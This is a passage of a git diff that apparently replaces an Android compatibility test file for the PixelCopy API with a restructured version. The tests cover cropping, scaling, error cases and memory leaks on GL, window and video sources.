+import android.os.Debug.MemoryInfo;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+import android.view.PixelCopy;
+import android.view.Surface;
+import android.view.View;
+import android.view.Window;
+
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PixelCopyTest {
+    private static final String TAG = "PixelCopyTests";
+
+    @Rule
+    public ActivityTestRule<PixelCopyGLProducerCtsActivity> mGLSurfaceViewActivityRule =
+            new ActivityTestRule<>(PixelCopyGLProducerCtsActivity.class, false, false);
+
+    @Rule
+    public ActivityTestRule<PixelCopyVideoSourceActivity> mVideoSourceActivityRule =
+            new ActivityTestRule<>(PixelCopyVideoSourceActivity.class, false, false);
+
+    @Rule
+    public ActivityTestRule<PixelCopyViewProducerActivity> mWindowSourceActivityRule =
+            new ActivityTestRule<>(PixelCopyViewProducerActivity.class, false, false);
+
+    @Rule
+    public SurfaceTextureRule mSurfaceRule = new SurfaceTextureRule();
+
+    private Instrumentation mInstrumentation;
+    private SynchronousPixelCopy mCopyHelper;
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        assertNotNull(mInstrumentation);
+        mCopyHelper = new SynchronousPixelCopy();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNullDest() {
+        Bitmap dest = null;
+        mCopyHelper.request(mSurfaceRule.getSurface(), dest);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testRecycledDest() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Config.ARGB_8888);
+        dest.recycle();
+        mCopyHelper.request(mSurfaceRule.getSurface(), dest);
+    }
+
+    @Test
+    public void testNoSourceData() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
+        int result = mCopyHelper.request(mSurfaceRule.getSurface(), dest);
+        assertEquals(PixelCopy.ERROR_SOURCE_NO_DATA, result);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testEmptySourceRectSurface() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
+        mCopyHelper.request(mSurfaceRule.getSurface(), new Rect(), dest);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testEmptySourceRectWindow() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
+        mCopyHelper.request(mock(Window.class), new Rect(), dest);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidSourceRectSurface() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
+        mCopyHelper.request(mSurfaceRule.getSurface(), new Rect(10, 10, 0, 0), dest);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidSourceRectWindow() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
+        mCopyHelper.request(mock(Window.class), new Rect(10, 10, 0, 0), dest);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNoDecorView() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
+        Window mockWindow = mock(Window.class);
+        mCopyHelper.request(mockWindow, dest);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNoViewRoot() {
+        Bitmap dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
+        Window mockWindow = mock(Window.class);
+        View view = new View(mInstrumentation.getTargetContext());
+        when(mockWindow.peekDecorView()).thenReturn(view);
+        mCopyHelper.request(mockWindow, dest);
+    }
+
+    private PixelCopyGLProducerCtsActivity waitForGlProducerActivity() {
+        CountDownLatch swapFence = new CountDownLatch(2);
+
+        PixelCopyGLProducerCtsActivity activity =
+                mGLSurfaceViewActivityRule.launchActivity(null);
+        activity.setSwapFence(swapFence);
+
+        try {
+            while (!swapFence.await(5, TimeUnit.MILLISECONDS)) {
+                activity.getView().requestRender();
+            }
+        } catch (InterruptedException ex) {
+            fail("Interrupted, error=" + ex.getMessage());
+        }
+        return activity;
+    }
+
+    @Test
+    public void testGlProducerFullsize() {
+        PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        int result = mCopyHelper.request(activity.getView(), bitmap);
+        assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+        assertEquals(100, bitmap.getWidth());
+        assertEquals(100, bitmap.getHeight());
+        assertEquals(Config.ARGB_8888, bitmap.getConfig());
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+    }
+
+    @Test
+    public void testGlProducerCropTopLeft() {
+        PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        int result = mCopyHelper.request(activity.getView(), new Rect(0, 0, 50, 50), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.RED, Color.RED, Color.RED);
+    }
+
+    @Test
+    public void testGlProducerCropCenter() {
+        PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        int result = mCopyHelper.request(activity.getView(), new Rect(25, 25, 75, 75), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+    }
+
+    @Test
+    public void testGlProducerCropBottomHalf() {
+        PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        int result = mCopyHelper.request(activity.getView(), new Rect(0, 50, 100, 100), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+        assertBitmapQuadColor(bitmap,
+                Color.BLUE, Color.BLACK, Color.BLUE, Color.BLACK);
+    }
+
+    @Test
+    public void testGlProducerCropClamping() {
+        PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        int result = mCopyHelper.request(activity.getView(), new Rect(50, -50, 150, 50), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+        assertBitmapQuadColor(bitmap,
+                Color.GREEN, Color.GREEN, Color.GREEN, Color.GREEN);
+    }
+
+    @Test
+    public void testGlProducerScaling() {
+        // Since we only sample mid-pixel of each qudrant, filtering
+        // quality isn't tested
+        PixelCopyGLProducerCtsActivity activity = waitForGlProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(20, 20, Config.ARGB_8888);
+        int result = mCopyHelper.request(activity.getView(), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+        // Make sure nothing messed with the bitmap
+        assertEquals(20, bitmap.getWidth());
+        assertEquals(20, bitmap.getHeight());
+        assertEquals(Config.ARGB_8888, bitmap.getConfig());
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+    }
+
+    private Window waitForWindowProducerActivity() {
+        PixelCopyViewProducerActivity activity =
+                mWindowSourceActivityRule.launchActivity(null);
+        activity.waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+        return activity.getWindow();
+    }
+
+    private Rect makeWindowRect(int left, int top, int right, int bottom) {
+        Rect r = new Rect(left, top, right, bottom);
+        mWindowSourceActivityRule.getActivity().normalizedToSurface(r);
+        return r;
+    }
+
+    @Test
+    public void testWindowProducer() {
+        Bitmap bitmap;
+        Window window = waitForWindowProducerActivity();
+        PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+        do {
+            Rect src = makeWindowRect(0, 0, 100, 100);
+            bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.ARGB_8888);
+            int result = mCopyHelper.request(window, src, bitmap);
+            assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+            assertEquals(Config.ARGB_8888, bitmap.getConfig());
+            assertBitmapQuadColor(bitmap,
+                    Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+            assertBitmapEdgeColor(bitmap, Color.YELLOW);
+        } while (activity.rotate());
+    }
+
+    @Test
+    public void testWindowProducerCropTopLeft() {
+        Window window = waitForWindowProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+        do {
+            int result = mCopyHelper.request(window, makeWindowRect(0, 0, 50, 50), bitmap);
+            assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+            assertBitmapQuadColor(bitmap,
+                    Color.RED, Color.RED, Color.RED, Color.RED);
+        } while (activity.rotate());
+    }
+
+    @Test
+    public void testWindowProducerCropCenter() {
+        Window window = waitForWindowProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+        do {
+            int result = mCopyHelper.request(window, makeWindowRect(25, 25, 75, 75), bitmap);
+            assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+            assertBitmapQuadColor(bitmap,
+                    Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+        } while (activity.rotate());
+    }
+
+    @Test
+    public void testWindowProducerCropBottomHalf() {
+        Window window = waitForWindowProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+        do {
+            int result = mCopyHelper.request(window, makeWindowRect(0, 50, 100, 100), bitmap);
+            assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+            assertBitmapQuadColor(bitmap,
+                    Color.BLUE, Color.BLACK, Color.BLUE, Color.BLACK);
+        } while (activity.rotate());
+    }
+
+    @Test
+    public void testWindowProducerScaling() {
+        // Since we only sample mid-pixel of each qudrant, filtering
+        // quality isn't tested
+        Window window = waitForWindowProducerActivity();
+        Bitmap bitmap = Bitmap.createBitmap(20, 20, Config.ARGB_8888);
+        PixelCopyViewProducerActivity activity = mWindowSourceActivityRule.getActivity();
+        do {
+            int result = mCopyHelper.request(window, bitmap);
+            assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
+            // Make sure nothing messed with the bitmap
+            assertEquals(20, bitmap.getWidth());
+            assertEquals(20, bitmap.getHeight());
+            assertEquals(Config.ARGB_8888, bitmap.getConfig());
+            assertBitmapQuadColor(bitmap,
+                    Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+        } while (activity.rotate());
+    }
+
+    private void runGcAndFinalizersSync() {
+        final CountDownLatch fence = new CountDownLatch(1);
+        new Object() {
+            @Override
+            protected void finalize() throws Throwable {
+                try {
+                    fence.countDown();
+                } finally {
+                    super.finalize();
+                }
+            }
+        };
+        try {
+            do {
+                Runtime.getRuntime().gc();
+                Runtime.getRuntime().runFinalization();
+            } while (!fence.await(100, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(ex);
+        }
+        Runtime.getRuntime().gc();
+    }
+
+    private void assertNotLeaking(int iteration, MemoryInfo start, MemoryInfo end) {
+        Debug.getMemoryInfo(end);
+        if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+            runGcAndFinalizersSync();
+            Debug.getMemoryInfo(end);
+            if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+                // Guarded by if so we don't continually generate garbage for the
+                // assertion string.
+                assertEquals("Memory leaked, iteration=" + iteration,
+                        start.getTotalPss(), end.getTotalPss(),
+                        2000 /* kb */);
+            }
+        }
+    }
+
+    @Test
+    @LargeTest
+    public void testNotLeaking() {
+        try {
+            CountDownLatch swapFence = new CountDownLatch(2);
+
+            PixelCopyGLProducerCtsActivity activity =
+                    mGLSurfaceViewActivityRule.launchActivity(null);
+            activity.setSwapFence(swapFence);
+
+            while (!swapFence.await(5, TimeUnit.MILLISECONDS)) {
+                activity.getView().requestRender();
+            }
+
+            // Test a fullsize copy
+            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+
+            MemoryInfo meminfoStart = new MemoryInfo();
+            MemoryInfo meminfoEnd = new MemoryInfo();
+
+            for (int i = 0; i < 1000; i++) {
+                if (i == 2) {
+                    // Not really the "start" but by having done a couple
+                    // we've fully initialized any state that may be required,
+                    // so memory usage should be stable now
+                    runGcAndFinalizersSync();
+                    Debug.getMemoryInfo(meminfoStart);
+                }
+                if (i % 100 == 5) {
+                    assertNotLeaking(i, meminfoStart, meminfoEnd);
+                }
+                int result = mCopyHelper.request(activity.getView(), bitmap);
+                assertEquals("Copy request failed", PixelCopy.SUCCESS, result);
+                // Make sure nothing messed with the bitmap
+                assertEquals(100, bitmap.getWidth());
+                assertEquals(100, bitmap.getHeight());
+                assertEquals(Config.ARGB_8888, bitmap.getConfig());
+                assertBitmapQuadColor(bitmap,
+                        Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+            }
+
+            assertNotLeaking(1000, meminfoStart, meminfoEnd);
+
+        } catch (InterruptedException e) {
+            fail("Interrupted, error=" + e.getMessage());
+        }
+    }
+
+    @Test
+    public void testVideoProducer() throws InterruptedException {
+        PixelCopyVideoSourceActivity activity =
+                mVideoSourceActivityRule.launchActivity(null);
+        if (!activity.canPlayVideo()) {
+            Log.i(TAG, "Skipping testVideoProducer, video codec isn't supported");
+            return;
+        }
+        // This returns when the video has been prepared and playback has
+        // been started, it doesn't necessarily means a frame has actually been
+        // produced. There sadly isn't a callback for that.
+        // So we'll try for up to 900ms after this event to acquire a frame, otherwise
+        // it's considered a timeout.
+        activity.waitForPlaying();
+        assertTrue("Failed to start video playback", activity.canPlayVideo());
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
+        int copyResult = PixelCopy.ERROR_SOURCE_NO_DATA;
+        for (int i = 0; i < 30; i++) {
+            copyResult = mCopyHelper.request(activity.getVideoView(), bitmap);
+            if (copyResult != PixelCopy.ERROR_SOURCE_NO_DATA) {
+                break;
+            }
+            Thread.sleep(30);
+        }
+        assertEquals(PixelCopy.SUCCESS, copyResult);
+        // A large threshold is used because decoder accuracy is covered in the
+        // media CTS tests, so we are mainly interested in verifying that rotation
+        // and YUV->RGB conversion were handled properly.
+        assertBitmapQuadColor(bitmap, Color.RED, Color.GREEN, Color.BLUE, Color.BLACK, 30);
+
+        // Test that cropping works.
+        copyResult = mCopyHelper.request(activity.getVideoView(), new Rect(0, 0, 50, 50), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, copyResult);
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.RED, Color.RED, Color.RED, 30);
+
+        copyResult = mCopyHelper.request(activity.getVideoView(), new Rect(25, 25, 75, 75), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, copyResult);
+        assertBitmapQuadColor(bitmap,
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK, 30);
+
+        copyResult = mCopyHelper.request(activity.getVideoView(), new Rect(0, 50, 100, 100), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, copyResult);
+        assertBitmapQuadColor(bitmap,
+                Color.BLUE, Color.BLACK, Color.BLUE, Color.BLACK, 30);
+
+        // Test that clamping works
+        copyResult = mCopyHelper.request(activity.getVideoView(), new Rect(50, -50, 150, 50), bitmap);
+        assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, copyResult);
+        assertBitmapQuadColor(bitmap,
+                Color.GREEN, Color.GREEN, Color.GREEN, Color.GREEN, 30);
+    }
+
+    private static int getPixelFloatPos(Bitmap bitmap, float xpos, float ypos) {
+        return bitmap.getPixel((int) (bitmap.getWidth() * xpos), (int) (bitmap.getHeight() * ypos));
+    }
+
+    private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
+                int bottomLeft, int bottomRight) {
+        // Just quickly sample 4 pixels in the various regions.
+        assertEquals("Top left " + Integer.toHexString(topLeft) + ", actual= "
+                + Integer.toHexString(getPixelFloatPos(bitmap, .25f, .25f)),
+                topLeft, getPixelFloatPos(bitmap, .25f, .25f));
+        assertEquals("Top right", topRight, getPixelFloatPos(bitmap, .75f, .25f));
+        assertEquals("Bottom left", bottomLeft, getPixelFloatPos(bitmap, .25f, .75f));
+        assertEquals("Bottom right", bottomRight, getPixelFloatPos(bitmap, .75f, .75f));
+    }
+
+    private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
+            int bottomLeft, int bottomRight, int threshold) {
+        // Just quickly sample 4 pixels in the various regions.
+        assertTrue("Top left", pixelsAreSame(topLeft, getPixelFloatPos(bitmap, .25f, .25f),
+                threshold));
+        assertTrue("Top right", pixelsAreSame(topRight, getPixelFloatPos(bitmap, .75f, .25f),
+                threshold));
+        assertTrue("Bottom left", pixelsAreSame(bottomLeft, getPixelFloatPos(bitmap, .25f, .75f),
+                threshold));
+        assertTrue("Bottom right", pixelsAreSame(bottomRight, getPixelFloatPos(bitmap, .75f, .75f),
+                threshold));
+    }
+
+    private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) {
+        // Just quickly sample a few pixels on the edge and assert
+        // they are edge color, then assert that just inside the edge is a different color
+        assertBitmapColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 0);
+        assertBitmapNotColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 1);
+
+        assertBitmapColor("Left edge", bitmap, edgeColor, 0, bitmap.getHeight() / 2);
+        assertBitmapNotColor("Left edge", bitmap, edgeColor, 1, bitmap.getHeight() / 2);
+
+        assertBitmapColor("Bottom edge", bitmap, edgeColor,
+                bitmap.getWidth() / 2, bitmap.getHeight() - 1);
+        assertBitmapNotColor("Bottom edge", bitmap, edgeColor,
+                bitmap.getWidth() / 2, bitmap.getHeight() - 2);
+
+        assertBitmapColor("Right edge", bitmap, edgeColor,
+                bitmap.getWidth() - 1, bitmap.getHeight() / 2);
+        assertBitmapNotColor("Right edge", bitmap, edgeColor,
+                bitmap.getWidth() - 2, bitmap.getHeight() / 2);
+    }
+
+    private boolean pixelsAreSame(int ideal, int given, int threshold) {
+        int error = Math.abs(Color.red(ideal) - Color.red(given));
+        error += Math.abs(Color.green(ideal) - Color.green(given));
+        error += Math.abs(Color.blue(ideal) - Color.blue(given));
+        return (error < threshold);
+    }
+
+    private void assertBitmapColor(String debug, Bitmap bitmap, int color, int x, int y) {
+        int pixel = bitmap.getPixel(x, y);
+        if (!pixelsAreSame(color, pixel, 10)) {
+            fail(debug + "; expected=" + Integer.toHexString(color) + ", actual="
+                    + Integer.toHexString(pixel));
+        }
+    }
+
+    private void assertBitmapNotColor(String debug, Bitmap bitmap, int color, int x, int y) {
+        int pixel = bitmap.getPixel(x, y);
+        if (pixelsAreSame(color, pixel, 10)) {
+            fail(debug + "; actual=" + Integer.toHexString(pixel)
+                    + " shouldn't have matched " + Integer.toHexString(color));
+        }
+    }
+
+    private static class SurfaceTextureRule implements TestRule {
+        private SurfaceTexture mSurfaceTexture = null;
+        private Surface mSurface = null;
+
+        private void createIfNecessary() {
+            mSurfaceTexture = new SurfaceTexture(false);
+            mSurface = new Surface(mSurfaceTexture);
+        }
+
+        public Surface getSurface() {
+            createIfNecessary();
+            return mSurface;
+        }
+
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new CreateSurfaceTextureStatement(base);
+        }
+
+        private class CreateSurfaceTextureStatement extends Statement {
+
+            private final Statement mBase;
+
+            public CreateSurfaceTextureStatement(Statement base) {
+                mBase = base;
+            }
+
+            @Override
+            public void evaluate() throws Throwable {
+                try {
+                    mBase.evaluate();
+                } finally {
+                    try {
+                        if (mSurface != null) mSurface.release();
+                    } catch (Throwable t) {}
+                    try {
+                        if (mSurfaceTexture != null) mSurfaceTexture.release();
+                    } catch (Throwable t) {}
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTests.java b/tests/tests/view/src/android/view/cts/PixelCopyTests.java
deleted file mode 100644
index dfbf2bf..0000000
--- a/tests/tests/view/src/android/view/cts/PixelCopyTests.java
+++ /dev/null
@@ -1,429 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.app.Instrumentation;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.Config;
-import android.graphics.Color;
-import android.graphics.SurfaceTexture;
-import android.opengl.GLSurfaceView;
-import android.opengl.GLSurfaceView.Renderer;
-import android.os.Debug;
-import android.os.Debug.MemoryInfo;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.util.Log;
-import android.view.PixelCopy;
-import android.view.Surface;
-import android.view.SurfaceView;
-import android.view.PixelCopy.OnPixelCopyFinishedListener;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.opengles.GL10;
-
-import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
-import static android.opengl.GLES20.GL_SCISSOR_TEST;
-import static android.opengl.GLES20.glClear;
-import static android.opengl.GLES20.glClearColor;
-import static android.opengl.GLES20.glEnable;
-import static android.opengl.GLES20.glScissor;
-
-import static org.junit.Assert.*;
-
-@MediumTest
-public class PixelCopyTests {
-    private static final String TAG = "PixelCopyTests";
-
-    @Rule
-    public ActivityTestRule<GLSurfaceViewCtsActivity> mGLSurfaceViewActivityRule =
-            new ActivityTestRule<>(GLSurfaceViewCtsActivity.class, false, false);
-
-    @Rule
-    public ActivityTestRule<PixelCopyVideoSourceActivity> mVideoSourceActivityRule =
-            new ActivityTestRule<>(PixelCopyVideoSourceActivity.class, false, false);
-
-    private Instrumentation mInstrumentation;
-
-    @Before
-    public void setUp() throws Exception {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        assertNotNull(mInstrumentation);
-    }
-
-    @Test
-    public void testErrors() {
-        Bitmap dest = null;
-        SynchronousPixelCopy copyHelper = new SynchronousPixelCopy();
-        SurfaceTexture surfaceTexture = null;
-        Surface surface = null;
-
-        try {
-            surfaceTexture = new SurfaceTexture(false);
-            surface = new Surface(surfaceTexture);
-            try {
-                copyHelper.request(surface, dest);
-                fail("Should have generated an IllegalArgumentException, null dest!");
-            } catch (IllegalArgumentException iae) {
-                // success!
-            } catch (Throwable t) {
-                throw new AssertionError("Should have generated an IllegalArgumentException!", t);
-            }
-
-            dest = Bitmap.createBitmap(5, 5, Bitmap.Config.ARGB_8888);
-            int result = copyHelper.request(surface, dest);
-            assertEquals(PixelCopy.ERROR_SOURCE_NO_DATA, result);
-
-            dest.recycle();
-            try {
-                copyHelper.request(surface, dest);
-                fail("Should have generated an IllegalArgumentException!");
-            } catch (IllegalArgumentException iae) {
-                // success!
-            } catch (Throwable t) {
-                throw new AssertionError(
-                        "Should have generated an IllegalArgumentException, recycled bitmap!", t);
-            }
-        } finally {
-            try {
-                if (surface != null) surface.release();
-            } catch (Throwable t) {}
-            try {
-                if (surfaceTexture != null) surfaceTexture.release();
-            } catch (Throwable t) {}
-            surface = null;
-            surfaceTexture = null;
-        }
-    }
-
-    @Test
-    public void testGlProducer() {
-        try {
-            CountDownLatch swapFence = new CountDownLatch(2);
-            GLSurfaceViewCtsActivity.setGlVersion(2);
-            GLSurfaceViewCtsActivity.setRenderMode(GLSurfaceView.RENDERMODE_WHEN_DIRTY);
-            GLSurfaceViewCtsActivity.setFixedSize(100, 100);
-            GLSurfaceViewCtsActivity.setRenderer(new QuadColorGLRenderer(
-                    Color.RED, Color.GREEN, Color.BLUE, Color.BLACK, swapFence));
-
-            GLSurfaceViewCtsActivity activity =
-                    mGLSurfaceViewActivityRule.launchActivity(null);
-
-            while (!swapFence.await(5, TimeUnit.MILLISECONDS)) {
-                activity.getView().requestRender();
-            }
-
-            // Test a fullsize copy
-            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
-            SynchronousPixelCopy copyHelper = new SynchronousPixelCopy();
-            int result = copyHelper.request(activity.getView(), bitmap);
-            assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
-            // Make sure nothing messed with the bitmap
-            assertEquals(100, bitmap.getWidth());
-            assertEquals(100, bitmap.getHeight());
-            assertEquals(Config.ARGB_8888, bitmap.getConfig());
-            assertBitmapQuadColor(bitmap,
-                    Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
-
-            // Test that scaling works
-            // Since we only sample mid-pixel of each qudrant, filtering
-            // quality isn't tested
-            bitmap.reconfigure(20, 20, Config.ARGB_8888);
-            result = copyHelper.request(activity.getView(), bitmap);
-            assertEquals("Scaled copy request failed", PixelCopy.SUCCESS, result);
-            // Make sure nothing messed with the bitmap
-            assertEquals(20, bitmap.getWidth());
-            assertEquals(20, bitmap.getHeight());
-            assertEquals(Config.ARGB_8888, bitmap.getConfig());
-            assertBitmapQuadColor(bitmap,
-                    Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
-
-        } catch (InterruptedException e) {
-            fail("Interrupted, error=" + e.getMessage());
-        } finally {
-            GLSurfaceViewCtsActivity.resetFixedSize();
-            GLSurfaceViewCtsActivity.resetGlVersion();
-            GLSurfaceViewCtsActivity.resetRenderer();
-            GLSurfaceViewCtsActivity.resetRenderMode();
-        }
-    }
-    private void runGcAndFinalizersSync() {
-         final CountDownLatch fence = new CountDownLatch(1);
-         new Object() {
-             @Override
-             protected void finalize() throws Throwable {
-                 try {
-                     fence.countDown();
-                 } finally {
-                     super.finalize();
-                 }
-             }
-         };
-         try {
-             do {
-                 Runtime.getRuntime().gc();
-                 Runtime.getRuntime().runFinalization();
-             } while (!fence.await(100, TimeUnit.MILLISECONDS));
-         } catch (InterruptedException ex) {
-             throw new RuntimeException(ex);
-         }
-         Runtime.getRuntime().gc();
-     }
-
-    private void assertNotLeaking(int iteration, MemoryInfo start, MemoryInfo end) {
-        Debug.getMemoryInfo(end);
-         if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
-            runGcAndFinalizersSync();
-            Debug.getMemoryInfo(end);
-            if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
-                 // Guarded by if so we don't continually generate garbage for the
-                // assertion string.
-                assertEquals("Memory leaked, iteration=" + iteration,
-                        start.getTotalPss(), end.getTotalPss(),
-                        2000 /* kb */);
-            }
-        }
-    }
-
-    @Test
-    @LargeTest
-    public void testNotLeaking() {
-        try {
-            CountDownLatch swapFence = new CountDownLatch(2);
-            GLSurfaceViewCtsActivity.setGlVersion(2);
-            GLSurfaceViewCtsActivity.setRenderMode(GLSurfaceView.RENDERMODE_WHEN_DIRTY);
-            GLSurfaceViewCtsActivity.setFixedSize(100, 100);
-            GLSurfaceViewCtsActivity.setRenderer(new QuadColorGLRenderer(
-                    Color.RED, Color.GREEN, Color.BLUE, Color.BLACK, swapFence));
-
-            GLSurfaceViewCtsActivity activity =
-                    mGLSurfaceViewActivityRule.launchActivity(null);
-
-            while (!swapFence.await(5, TimeUnit.MILLISECONDS)) {
-                activity.getView().requestRender();
-            }
-
-            // Test a fullsize copy
-            Bitmap bitmap = Bitmap.createBitmap(100, 100, Config.ARGB_8888);
-            SynchronousPixelCopy copyHelper = new SynchronousPixelCopy();
-
-            MemoryInfo meminfoStart = new MemoryInfo();
-            MemoryInfo meminfoEnd = new MemoryInfo();
-
-            for (int i = 0; i < 1000; i++) {
-                if (i == 2) {
-                    // Not really the "start" but by having done a couple
-                    // we've fully initialized any state that may be required,
-                    // so memory usage should be stable now
-                    runGcAndFinalizersSync();
-                    Debug.getMemoryInfo(meminfoStart);
-                }
-                if (i % 100 == 5) {
-                    assertNotLeaking(i, meminfoStart, meminfoEnd);
-                }
-                int result = copyHelper.request(activity.getView(), bitmap);
-                assertEquals("Copy request failed", PixelCopy.SUCCESS, result);
-                // Make sure nothing messed with the bitmap
-                assertEquals(100, bitmap.getWidth());
-                assertEquals(100, bitmap.getHeight());
-                assertEquals(Config.ARGB_8888, bitmap.getConfig());
-                assertBitmapQuadColor(bitmap,
-                        Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
-            }
-
-            assertNotLeaking(1000, meminfoStart, meminfoEnd);
-
-        } catch (InterruptedException e) {
-            fail("Interrupted, error=" + e.getMessage());
-        }
-    }
-
-    @Test
-    public void testVideoProducer() throws InterruptedException {
-        PixelCopyVideoSourceActivity activity =
-                mVideoSourceActivityRule.launchActivity(null);
